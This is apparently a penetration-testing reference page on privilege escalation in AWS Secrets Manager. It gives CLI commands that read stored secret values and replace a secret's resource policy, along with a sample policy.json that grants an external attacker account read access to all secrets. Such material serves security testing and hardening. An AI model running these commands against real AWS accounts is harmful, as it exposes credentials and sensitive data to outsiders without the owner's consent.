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AWS - Secrets Manager Privesc

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Secrets Manager

For more info about secrets manager check:

secretsmanager:GetSecretValue

An attacker with this permission can get the saved value inside a secret in AWS Secretsmanager.
aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
Potential Impact: Access high sensitive data inside AWS secrets manager service.

secretsmanager:GetResourcePolicy, secretsmanager:PutResourcePolicy, (secretsmanager:ListSecrets)

With the previous permissions it's possible to give access to other principals/accounts (even external) to access the secret. Note that in order to read secrets encrypted with a KMS key, the user also needs to have access over the KMS key (more info in the KMS Enum page).
aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json
policy.json:
{
"Version" : "2012-10-17",
"Statement" : [ {
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : "secretsmanager:GetSecretValue",
"Resource" : "*"
} ]
}
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